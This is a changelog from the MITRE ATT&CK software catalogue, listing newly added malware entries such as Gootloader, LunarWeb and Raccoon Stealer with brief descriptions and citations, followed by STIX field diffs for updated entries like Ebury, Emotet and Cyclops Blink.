Description: [Gootloader](https://attack.mitre.org/software/S1138) is a Javascript-based infection framework that has been used since at least 2020 as a delivery method for the Gootkit banking trojan, [Cobalt Strike](https://attack.mitre.org/software/S0154), [REvil](https://attack.mitre.org/software/S0496), and others. [Gootloader](https://attack.mitre.org/software/S1138) operates on an "Initial Access as a Service" model and has leveraged [SEO Poisoning](https://attack.mitre.org/techniques/T1608/006) to provide access to entities in multiple sectors worldwide including financial, military, automotive, pharmaceutical, and energy.(Citation: Sophos Gootloader)(Citation: SentinelOne Gootloader June 2021)
[S1152] IMAPLoader
Current version: 1.0
Description: [IMAPLoader](https://attack.mitre.org/software/S1152) is a .NET-based loader malware exclusively associated with [CURIUM](https://attack.mitre.org/groups/G1012) operations since at least 2022. [IMAPLoader](https://attack.mitre.org/software/S1152) leverages email protocols for command and control and payload delivery.(Citation: PWC Yellow Liderc 2023)
[S1139] INC Ransomware
Current version: 1.0
Description: [INC Ransomware](https://attack.mitre.org/software/S1139) is a ransomware strain that has been used by the [INC Ransom](https://attack.mitre.org/groups/G1032) group since at least 2023 against multiple industry sectors worldwide. [INC Ransomware](https://attack.mitre.org/software/S1139) can employ partial encryption combined with multi-threading to speed encryption.(Citation: SentinelOne INC Ransomware)(Citation: Huntress INC Ransom Group August 2023)(Citation: Secureworks GOLD IONIC April 2024)
[S1132] IPsec Helper
Current version: 1.0
Description: [IPsec Helper](https://attack.mitre.org/software/S1132) is a post-exploitation remote access tool linked to [Agrius](https://attack.mitre.org/groups/G1030) operations. This malware shares significant programming and functional overlaps with [Apostle](https://attack.mitre.org/software/S1133) ransomware, also linked to [Agrius](https://attack.mitre.org/groups/G1030). [IPsec Helper](https://attack.mitre.org/software/S1132) provides basic remote access tool functionality such as uploading files from victim systems, running commands, and deploying additional payloads.(Citation: SentinelOne Agrius 2021)
[S1160] Latrodectus
Current version: 1.0
Description: [Latrodectus](https://attack.mitre.org/software/S1160) is a Windows malware downloader that has been used since at least 2023 to download and execute additional payloads and modules. [Latrodectus](https://attack.mitre.org/software/S1160) has most often been distributed through email campaigns, primarily by [TA577](https://attack.mitre.org/groups/G1037) and [TA578](https://attack.mitre.org/groups/G1038), and has infrastructure overlaps with historic [IcedID](https://attack.mitre.org/software/S0483) operations.(Citation: Latrodectus APR 2024)(Citation: Bleeping Computer Latrodectus April 2024)(Citation: Bitsight Latrodectus June 2024)
[S1143] LunarLoader
Current version: 1.0
Description: [LunarLoader](https://attack.mitre.org/software/S1143) is the loader component for the [LunarWeb](https://attack.mitre.org/software/S1141) and [LunarMail](https://attack.mitre.org/software/S1142) backdoors that has been used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2020 including against a European ministry of foreign affairs (MFA). [LunarLoader](https://attack.mitre.org/software/S1143) has been observed as a standalone and as a part of trojanized open-source software such as AdmPwd.(Citation: ESET Turla Lunar toolset May 2024)
[S1142] LunarMail
Current version: 1.0
Description: [LunarMail](https://attack.mitre.org/software/S1142) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2020 including in a compromise of a European ministry of foreign affairs (MFA) in conjunction with [LunarLoader](https://attack.mitre.org/software/S1143) and [LunarWeb](https://attack.mitre.org/software/S1141). [LunarMail](https://attack.mitre.org/software/S1142) is designed to be deployed on workstations and can use email messages and [Steganography](https://attack.mitre.org/techniques/T1001/002) in command and control.(Citation: ESET Turla Lunar toolset May 2024)
[S1141] LunarWeb
Current version: 1.0
Description: [LunarWeb](https://attack.mitre.org/software/S1141) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2020 including in a compromise of a European ministry of foreign affairs (MFA) together with [LunarLoader](https://attack.mitre.org/software/S1143) and [LunarMail](https://attack.mitre.org/software/S1142). [LunarWeb](https://attack.mitre.org/software/S1141) has only been observed deployed against servers and can use [Steganography](https://attack.mitre.org/techniques/T1001/002) to obfuscate command and control.(Citation: ESET Turla Lunar toolset May 2024)
[S1156] Manjusaka
Current version: 1.0
Description: [Manjusaka](https://attack.mitre.org/software/S1156) is a Chinese-language intrusion framework, similar to [Sliver](https://attack.mitre.org/software/S0633) and [Cobalt Strike](https://attack.mitre.org/software/S0154), with an ELF binary written in GoLang as the controller for Windows and Linux implants written in Rust. First identified in 2022, [Manjusaka](https://attack.mitre.org/software/S1156) consists of multiple components, only one of which (a command and control module) is freely available.(Citation: Talos Manjusaka 2022)
[S1146] MgBot
Current version: 1.0
Description: [MgBot](https://attack.mitre.org/software/S1146) is a modular malware framework exclusively associated with [Daggerfly](https://attack.mitre.org/groups/G1034) operations since at least 2012. [MgBot](https://attack.mitre.org/software/S1146) was developed in C++ and features a module design with multiple available plugins that have been under active development through 2024.(Citation: Szappanos MgBot 2014)(Citation: ESET EvasivePanda 2023)(Citation: Symantec Daggerfly 2024)
[S1137] Moneybird
Current version: 1.0
Description: [Moneybird](https://attack.mitre.org/software/S1137) is a ransomware variant written in C++ associated with [Agrius](https://attack.mitre.org/groups/G1030) operations. The name "Moneybird" is contained in the malware's ransom note and as strings in the executable.(Citation: CheckPoint Agrius 2023)
[S1135] MultiLayer Wiper
Current version: 1.0
Description: [MultiLayer Wiper](https://attack.mitre.org/software/S1135) is wiper malware written in .NET associated with [Agrius](https://attack.mitre.org/groups/G1030) operations. Observed samples of [MultiLayer Wiper](https://attack.mitre.org/software/S1135) have an anomalous, future compilation date suggesting possible metadata manipulation.(Citation: Unit42 Agrius 2023)
[S1131] NPPSPY
Current version: 1.0
Description: NPPSPY is an implementation of a theoretical mechanism first presented in 2004 for capturing credentials submitted to a Windows system via a rogue Network Provider API item. NPPSPY captures credentials following submission and writes them to a file on the victim system for follow-on exfiltration.(Citation: Huntress NPPSPY 2022)(Citation: Polak NPPSPY 2004)
[S1147] Nightdoor
Current version: 1.0
Description: [Nightdoor](https://attack.mitre.org/software/S1147) is a backdoor exclusively associated with [Daggerfly](https://attack.mitre.org/groups/G1034) operations. [Nightdoor](https://attack.mitre.org/software/S1147) uses common libraries with [MgBot](https://attack.mitre.org/software/S1146) and [MacMa](https://attack.mitre.org/software/S1016), linking these malware families together.(Citation: ESET EvasivePanda 2024)(Citation: Symantec Daggerfly 2024)
[S1145] Pikabot
Current version: 1.0
Description: [Pikabot](https://attack.mitre.org/software/S1145) is a backdoor used for initial access and follow-on tool deployment active since early 2023. [Pikabot](https://attack.mitre.org/software/S1145) is notable for extensive use of multiple encoding, encryption, and defense evasion mechanisms to evade defenses and avoid analysis. [Pikabot](https://attack.mitre.org/software/S1145) has some overlaps with [QakBot](https://attack.mitre.org/software/S0650), but insufficient evidence exists to definitively link these two malware families. [Pikabot](https://attack.mitre.org/software/S1145) is frequently used to deploy follow on tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154) or ransomware variants.(Citation: Zscaler Pikabot 2023)(Citation: Elastic Pikabot 2024)(Citation: Logpoint Pikabot 2024)
[S1162] Playcrypt
Current version: 1.0
Description: [Playcrypt](https://attack.mitre.org/software/S1162) is a ransomware that has been used by [Play](https://attack.mitre.org/groups/G1040) since at least 2022 in attacks against against the business, government, critical infrastructure, healthcare, and media sectors in North America, South America, and Europe. [Playcrypt](https://attack.mitre.org/software/S1162) derives its name from adding the .play extension to encrypted files and has overlap with tactics and tools associated with Hive and Nokoyawa ransomware and infrastructure associated with Quantum ransomware.(Citation: Microsoft PlayCrypt August 2022)(Citation: CISA Play Ransomware Advisory December 2023)(Citation: Trend Micro Ransomware Spotlight Play July 2023)
[S1150] ROADSWEEP
Current version: 1.0
Description: [ROADSWEEP](https://attack.mitre.org/software/S1150) is a ransomware that was deployed against Albanian government networks during [HomeLand Justice](https://attack.mitre.org/campaigns/C0038) along with the [CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) backdoor.(Citation: Mandiant ROADSWEEP August 2022)
[S1148] Raccoon Stealer
Current version: 1.0
Description: [Raccoon Stealer](https://attack.mitre.org/software/S1148) is an information stealer malware family active since at least 2019 as a malware-as-a-service offering sold in underground forums. [Raccoon Stealer](https://attack.mitre.org/software/S1148) has experienced two periods of activity across two variants, from 2019 to March 2022, then resurfacing in a revised version in June 2022.(Citation: S2W Racoon 2022)(Citation: Sekoia Raccoon1 2022)
[S1130] Raspberry Robin
Current version: 1.0
Description: [Raspberry Robin](https://attack.mitre.org/software/S1130) is initial access malware first identified in September 2021, and active through early 2024. The malware is notable for spreading via infected USB devices containing a malicious LNK object that, on execution, retrieves remote hosted payloads for installation. [Raspberry Robin](https://attack.mitre.org/software/S1130) has been widely used against various industries and geographies, and as a precursor to information stealer, ransomware, and other payloads such as [SocGholish](https://attack.mitre.org/software/S1124), [Cobalt Strike](https://attack.mitre.org/software/S0154), [IcedID](https://attack.mitre.org/software/S0483), and [Bumblebee](https://attack.mitre.org/software/S1039).(Citation: TrendMicro RaspberryRobin 2022)(Citation: RedCanary RaspberryRobin 2022)(Citation: HP RaspberryRobin 2024) The DLL componenet in the [Raspberry Robin](https://attack.mitre.org/software/S1130) infection chain is also referred to as "Roshtyak."(Citation: Avast RaspberryRobin 2022) The name "Raspberry Robin" is used to refer to both the malware as well as the threat actor associated with its use, although the Raspberry Robin operators are also tracked as Storm-0856 by some vendors.(Citation: Microsoft RaspberryRobin 2022)
[S1140] Spica
Current version: 1.0
Description: [Spica](https://attack.mitre.org/software/S1140) is a custom backdoor written in Rust that has been used by [Star Blizzard](https://attack.mitre.org/groups/G1033) since at least 2023.(Citation: Google TAG COLDRIVER January 2024)
[S1010] VPNFilter
Current version: 2.0
Description: [VPNFilter](https://attack.mitre.org/software/S1010) is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. [VPNFilter](https://attack.mitre.org/software/S1010) modules such as its packet sniffer ('ps') can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols. (Citation: William Largent June 2018) (Citation: Carl Hurd March 2019) [VPNFilter](https://attack.mitre.org/software/S1010) was assessed to be replaced by [Sandworm Team](https://attack.mitre.org/groups/G0034) with [Cyclops Blink](https://attack.mitre.org/software/S0687) starting in 2019.(Citation: NCSC CISA Cyclops Blink Advisory February 2022)
[S1154] VersaMem
Current version: 1.0
Description: [VersaMem](https://attack.mitre.org/software/S1154) is a web shell designed for deployment to Versa Director servers following exploitation. Discovered in August 2024, [VersaMem](https://attack.mitre.org/software/S1154) was used during [Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) by [Volt Typhoon](https://attack.mitre.org/groups/G1017) to target ISPs and MSPs. [VersaMem](https://attack.mitre.org/software/S1154) is deployed as a Java Archive (JAR) and allows for credential capture for Versa Director logon activity as well as follow-on execution of arbitrary Java payloads.(Citation: Lumen Versa 2024)
[S1151] ZeroCleare
Current version: 1.0
Description: [ZeroCleare](https://attack.mitre.org/software/S1151) is a wiper malware that has been used in conjunction with the [RawDisk](https://attack.mitre.org/software/S0364) driver since at least 2019 by suspected Iran-nexus threat actors including activity targeting the energy and industrial sectors in the Middle East and political targets in Albania.(Citation: Microsoft Albanian Government Attacks September 2022)(Citation: CISA Iran Albanian Attacks September 2022)(Citation: Mandiant ROADSWEEP August 2022)(Citation: IBM ZeroCleare Wiper December 2019)
Major Version Changes
[S0414] BabyShark
Current version: 2.0
Version changed from: 1.2 → 2.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-03-12 17:26:12.324000+00:00 | 2024-05-06 20:38:32.432000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.2 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'LATEOP', 'description': '(Citation: Mandiant APT43 March 2024)'} |
| external_references | | {'source_name': 'Mandiant APT43 March 2024', 'description': 'Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.', 'url': 'https://services.google.com/fh/files/misc/apt43-report-en.pdf'} |
| x_mitre_aliases | | LATEOP |
[S0377] Ebury
Current version: 2.0
Version changed from: 1.3 → 2.0
|
|
|---|
| t | [Ebury](https://attack.mitre.org/software/S0377) is an SSH b | t | [Ebury](https://attack.mitre.org/software/S0377) is an OpenS |
| ackdoor targeting Linux operating systems. Attackers require | | SH backdoor and credential stealer targeting Linux servers a |
| root-level access, which allows them to replace SSH binarie | | nd container hosts developed by [Windigo](https://attack.mit |
| s (ssh, sshd, ssh-add, etc) or modify a shared library used | | re.org/groups/G0124). [Ebury](https://attack.mitre.org/softw |
| by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Cit | | are/S0377) is primarily installed through modifying shared l |
| ation: BleepingComputer Ebury March 2017)(Citation: ESET Ebu | | ibraries (`.so` files) executed by the legitimate OpenSSH pr |
| ry Oct 2017) | | ogram. First seen in 2009, [Ebury](https://attack.mitre.org/ |
| | | software/S0377) has been used to maintain a botnet of server |
| | | s, deploy additional malware, and steal cryptocurrency walle |
| | | ts, credentials, and credit card details.(Citation: ESET Ebu |
| | | ry Feb 2014)(Citation: BleepingComputer Ebury March 2017)(Ci |
| | | tation: ESET Ebury Oct 2017)(Citation: ESET Ebury May 2024) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-23 22:56:14.591000+00:00 | 2024-09-20 21:15:51.302000+00:00 |
| description | [Ebury](https://attack.mitre.org/software/S0377) is an SSH backdoor targeting Linux operating systems. Attackers require root-level access, which allows them to replace SSH binaries (ssh, sshd, ssh-add, etc) or modify a shared library used by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)(Citation: ESET Ebury Oct 2017) | [Ebury](https://attack.mitre.org/software/S0377) is an OpenSSH backdoor and credential stealer targeting Linux servers and container hosts developed by [Windigo](https://attack.mitre.org/groups/G0124). [Ebury](https://attack.mitre.org/software/S0377) is primarily installed through modifying shared libraries (`.so` files) executed by the legitimate OpenSSH program. First seen in 2009, [Ebury](https://attack.mitre.org/software/S0377) has been used to maintain a botnet of servers, deploy additional malware, and steal cryptocurrency wallets, credentials, and credit card details.(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)(Citation: ESET Ebury Oct 2017)(Citation: ESET Ebury May 2024) |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.3 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'ESET Ebury May 2024', 'description': 'Marc-Etienne M.Léveillé. (2024, May 1). Ebury is alive but unseen. Retrieved May 21, 2024.', 'url': 'https://web-assets.esetstatic.com/wls/en/papers/white-papers/ebury-is-alive-but-unseen.pdf'} |
[S1016] MacMa
Current version: 2.0
Version changed from: 1.0 → 2.0
|
|
|---|
| t | [MacMa](https://attack.mitre.org/software/S1016) is a macOS- | t | [MacMa](https://attack.mitre.org/software/S1016) is a macOS- |
| based backdoor with a large set of functionalities to contro | | based backdoor with a large set of functionalities to contro |
| l and exfiltrate files from a compromised computer. [MacMa]( | | l and exfiltrate files from a compromised computer. [MacMa]( |
| https://attack.mitre.org/software/S1016) has been observed i | | https://attack.mitre.org/software/S1016) has been observed i |
| n the wild since November 2021.(Citation: ESET DazzleSpy Jan | | n the wild since November 2021.(Citation: ESET DazzleSpy Jan |
| 2022) | | 2022) [MacMa](https://attack.mitre.org/software/S1016) shar |
| | | es command and control and unique libraries with [MgBot](htt |
| | | ps://attack.mitre.org/software/S1146) and [Nightdoor](https: |
| | | //attack.mitre.org/software/S1147), indicating a relationshi |
| | | p with the [Daggerfly](https://attack.mitre.org/groups/G1034 |
| | | ) threat actor.(Citation: Symantec Daggerfly 2024) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-10-24 18:52:29.002000+00:00 | 2024-07-26 17:48:10.580000+00:00 |
| description | [MacMa](https://attack.mitre.org/software/S1016) is a macOS-based backdoor with a large set of functionalities to control and exfiltrate files from a compromised computer. [MacMa](https://attack.mitre.org/software/S1016) has been observed in the wild since November 2021.(Citation: ESET DazzleSpy Jan 2022) | [MacMa](https://attack.mitre.org/software/S1016) is a macOS-based backdoor with a large set of functionalities to control and exfiltrate files from a compromised computer. [MacMa](https://attack.mitre.org/software/S1016) has been observed in the wild since November 2021.(Citation: ESET DazzleSpy Jan 2022) [MacMa](https://attack.mitre.org/software/S1016) shares command and control and unique libraries with [MgBot](https://attack.mitre.org/software/S1146) and [Nightdoor](https://attack.mitre.org/software/S1147), indicating a relationship with the [Daggerfly](https://attack.mitre.org/groups/G1034) threat actor.(Citation: Symantec Daggerfly 2024) |
| x_mitre_attack_spec_version | 3.0.0 | 3.2.0 |
| x_mitre_version | 1.0 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Symantec Daggerfly 2024', 'description': 'Threat Hunter Team. (2024, July 23). Daggerfly: Espionage Group Makes Major Update to Toolset. Retrieved July 25, 2024.', 'url': 'https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset'} |
[S1017] OutSteel
Current version: 2.0
Version changed from: 1.0 → 2.0
|
|
|---|
| t | [OutSteel](https://attack.mitre.org/software/S1017) is a fil | t | [OutSteel](https://attack.mitre.org/software/S1017) is a fil |
| e uploader and document stealer developed with the scripting | | e uploader and document stealer developed with the scripting |
| language AutoIT that has been used by [Ember Bear](https:// | | language AutoIT that has been used by [Saint Bear](https:// |
| attack.mitre.org/groups/G1003) since at least March 2021.(Ci | | attack.mitre.org/groups/G1031) since at least March 2021.(Ci |
| tation: Palo Alto Unit 42 OutSteel SaintBot February 2022 ) | | tation: Palo Alto Unit 42 OutSteel SaintBot February 2022 ) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_aliases | | ['OutSteel'] |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-06-09 18:53:30.145000+00:00 | 2024-10-08 20:11:00.316000+00:00 |
| description | [OutSteel](https://attack.mitre.org/software/S1017) is a file uploader and document stealer developed with the scripting language AutoIT that has been used by [Ember Bear](https://attack.mitre.org/groups/G1003) since at least March 2021.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 ) | [OutSteel](https://attack.mitre.org/software/S1017) is a file uploader and document stealer developed with the scripting language AutoIT that has been used by [Saint Bear](https://attack.mitre.org/groups/G1031) since at least March 2021.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 ) |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.0 | 2.0 |
[S1018] Saint Bot
Current version: 2.0
Version changed from: 1.0 → 2.0
|
|
|---|
| t | [Saint Bot](https://attack.mitre.org/software/S1018) is a .N | t | [Saint Bot](https://attack.mitre.org/software/S1018) is a .N |
| ET downloader that has been used by [Ember Bear](https://att | | ET downloader that has been used by [Saint Bear](https://att |
| ack.mitre.org/groups/G1003) since at least March 2021.(Citat | | ack.mitre.org/groups/G1031) since at least March 2021.(Citat |
| ion: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto | | ion: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto |
| Unit 42 OutSteel SaintBot February 2022 ) | | Unit 42 OutSteel SaintBot February 2022 ) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_aliases | | ['Saint Bot'] |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-06-09 19:56:56.809000+00:00 | 2024-10-08 20:10:44.570000+00:00 |
| description | [Saint Bot](https://attack.mitre.org/software/S1018) is a .NET downloader that has been used by [Ember Bear](https://attack.mitre.org/groups/G1003) since at least March 2021.(Citation: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 ) | [Saint Bot](https://attack.mitre.org/software/S1018) is a .NET downloader that has been used by [Saint Bear](https://attack.mitre.org/groups/G1031) since at least March 2021.(Citation: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 ) |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.0 | 2.0 |
Minor Version Changes
[S0073] ASPXSpy
Current version: 1.3
Version changed from: 1.2 → 1.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-09-22 20:56:06.265000+00:00 | 2024-05-22 19:06:12.701000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.2 | 1.3 |
[S0552] AdFind
Current version: 1.5
Version changed from: 1.4 → 1.5
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-04 03:49:04.493000+00:00 | 2024-09-25 15:21:53.462000+00:00 |
| x_mitre_version | 1.4 | 1.5 |
[S1025] Amadey
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-10-14 21:33:47.608000+00:00 | 2024-05-07 19:11:33.669000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.0 | 1.1 |
[S0521] BloodHound
Current version: 1.6
Version changed from: 1.5 → 1.6
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-08-09 18:00:13.178000+00:00 | 2024-09-25 20:33:37.892000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.5 | 1.6 |
[S1063] Brute Ratel C4
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-17 21:44:03.462000+00:00 | 2024-09-19 15:46:58.008000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.0 | 1.1 |
[S1039] Bumblebee
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-10-21 21:43:41.253000+00:00 | 2024-09-17 17:58:55.921000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.0 | 1.1 |
[S0154] Cobalt Strike
Current version: 1.13
Version changed from: 1.12 → 1.13
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-17 22:05:58.343000+00:00 | 2024-09-25 20:32:57.099000+00:00 |
| x_mitre_version | 1.12 | 1.13 |
[S0687] Cyclops Blink
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | [Cyclops Blink](https://attack.mitre.org/software/S0687) is | t | [Cyclops Blink](https://attack.mitre.org/software/S0687) is |
| a modular malware that has been used in widespread campaigns | | a modular malware that has been used in widespread campaigns |
| by [Sandworm Team](https://attack.mitre.org/groups/G0034) s | | by [Sandworm Team](https://attack.mitre.org/groups/G0034) s |
| ince at least 2019 to target Small/Home Office (SOHO) networ | | ince at least 2019 to target Small/Home Office (SOHO) networ |
| k devices, including WatchGuard and Asus.(Citation: NCSC Cyc | | k devices, including WatchGuard and Asus. [Cyclops Blink](ht |
| lops Blink February 2022)(Citation: NCSC CISA Cyclops Blink | | tps://attack.mitre.org/software/S0687) is assessed to be a r |
| Advisory February 2022)(Citation: Trend Micro Cyclops Blink | | eplacement for [VPNFilter](https://attack.mitre.org/software |
| March 2022) | | /S1010), a similar platform targeting network devices.(Citat |
| | | ion: NCSC Cyclops Blink February 2022)(Citation: NCSC CISA C |
| | | yclops Blink Advisory February 2022)(Citation: Trend Micro C |
| | | yclops Blink March 2022) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-04-14 17:00:26.886000+00:00 | 2024-08-15 22:36:30.074000+00:00 |
| description | [Cyclops Blink](https://attack.mitre.org/software/S0687) is a modular malware that has been used in widespread campaigns by [Sandworm Team](https://attack.mitre.org/groups/G0034) since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus.(Citation: NCSC Cyclops Blink February 2022)(Citation: NCSC CISA Cyclops Blink Advisory February 2022)(Citation: Trend Micro Cyclops Blink March 2022) | [Cyclops Blink](https://attack.mitre.org/software/S0687) is a modular malware that has been used in widespread campaigns by [Sandworm Team](https://attack.mitre.org/groups/G0034) since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus. [Cyclops Blink](https://attack.mitre.org/software/S0687) is assessed to be a replacement for [VPNFilter](https://attack.mitre.org/software/S1010), a similar platform targeting network devices.(Citation: NCSC Cyclops Blink February 2022)(Citation: NCSC CISA Cyclops Blink Advisory February 2022)(Citation: Trend Micro Cyclops Blink March 2022) |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.0 | 1.1 |
[S0367] Emotet
Current version: 1.6
Version changed from: 1.5 → 1.6
|
|
|---|
| t | [Emotet](https://attack.mitre.org/software/S0367) is a modul | t | [Emotet](https://attack.mitre.org/software/S0367) is a modul |
| ar malware variant which is primarily used as a downloader f | | ar malware variant which is primarily used as a downloader f |
| or other malware variants such as [TrickBot](https://attack. | | or other malware variants such as [TrickBot](https://attack. |
| mitre.org/software/S0266) and [IcedID](https://attack.mitre. | | mitre.org/software/S0266) and [IcedID](https://attack.mitre. |
| org/software/S0483). Emotet first emerged in June 2014 and h | | org/software/S0483). Emotet first emerged in June 2014, init |
| as been primarily used to target the banking sector. (Citati | | ially targeting the financial sector, and has expanded to mu |
| on: Trend Micro Banking Malware Jan 2019) | | ltiple verticals over time.(Citation: Trend Micro Banking Ma |
| | | lware Jan 2019) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-09-29 19:44:43.868000+00:00 | 2024-07-09 16:04:18.570000+00:00 |
| description | [Emotet](https://attack.mitre.org/software/S0367) is a modular malware variant which is primarily used as a downloader for other malware variants such as [TrickBot](https://attack.mitre.org/software/S0266) and [IcedID](https://attack.mitre.org/software/S0483). Emotet first emerged in June 2014 and has been primarily used to target the banking sector. (Citation: Trend Micro Banking Malware Jan 2019) | [Emotet](https://attack.mitre.org/software/S0367) is a modular malware variant which is primarily used as a downloader for other malware variants such as [TrickBot](https://attack.mitre.org/software/S0266) and [IcedID](https://attack.mitre.org/software/S0483). Emotet first emerged in June 2014, initially targeting the financial sector, and has expanded to multiple verticals over time.(Citation: Trend Micro Banking Malware Jan 2019) |
| x_mitre_version | 1.5 | 1.6 |
[S0363] Empire
Current version: 1.8
Version changed from: 1.7 → 1.8
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-07-27 15:44:31.364000+00:00 | 2024-09-25 20:32:02.152000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.7 | 1.8 |
[S0396] EvilBunny
Current version: 1.3
Version changed from: 1.2 → 1.3
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-02 00:14:13.954000+00:00 | 2024-08-05 18:21:34.265000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.2 | 1.3 |
[S0026] GLOOXMAIL
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-30 16:42:52.248000+00:00 | 2024-08-28 14:16:00.884000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.1 | 1.2 |
[S0249] Gold Dragon
Current version: 1.3
Version changed from: 1.2 → 1.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-04-11 21:45:35.889000+00:00 | 2024-05-06 20:40:17+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.2 | 1.3 |
[S0483] IcedID
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | ['Jorge Orchilles', 'Matt Brenton', 'Zaw Min Htun, @Z3TAE'] |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-11 02:16:08.503000+00:00 | 2024-10-28 19:20:20.633000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
[S0357] Impacket
Current version: 1.7
Version changed from: 1.6 → 1.7
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-14 17:27:34.759000+00:00 | 2024-10-07 19:08:53.273000+00:00 |
| x_mitre_version | 1.6 | 1.7 |
[S0359] Nltest
Current version: 1.3
Version changed from: 1.2 → 1.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-08-09 18:03:17.167000+00:00 | 2024-09-25 20:27:04.356000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.2 | 1.3 |
[S0428] PoetRAT
Current version: 2.3
Version changed from: 2.2 → 2.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-22 05:09:38.370000+00:00 | 2024-08-05 18:24:31.652000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 2.2 | 2.3 |
[S0029] PsExec
Current version: 1.7
Version changed from: 1.6 → 1.7
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-04 03:50:11+00:00 | 2024-09-25 20:31:21.768000+00:00 |
| x_mitre_version | 1.6 | 1.7 |
[S0650] QakBot
Current version: 1.3
Version changed from: 1.2 → 1.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-12-05 20:22:37.368000+00:00 | 2024-09-17 16:10:03.901000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
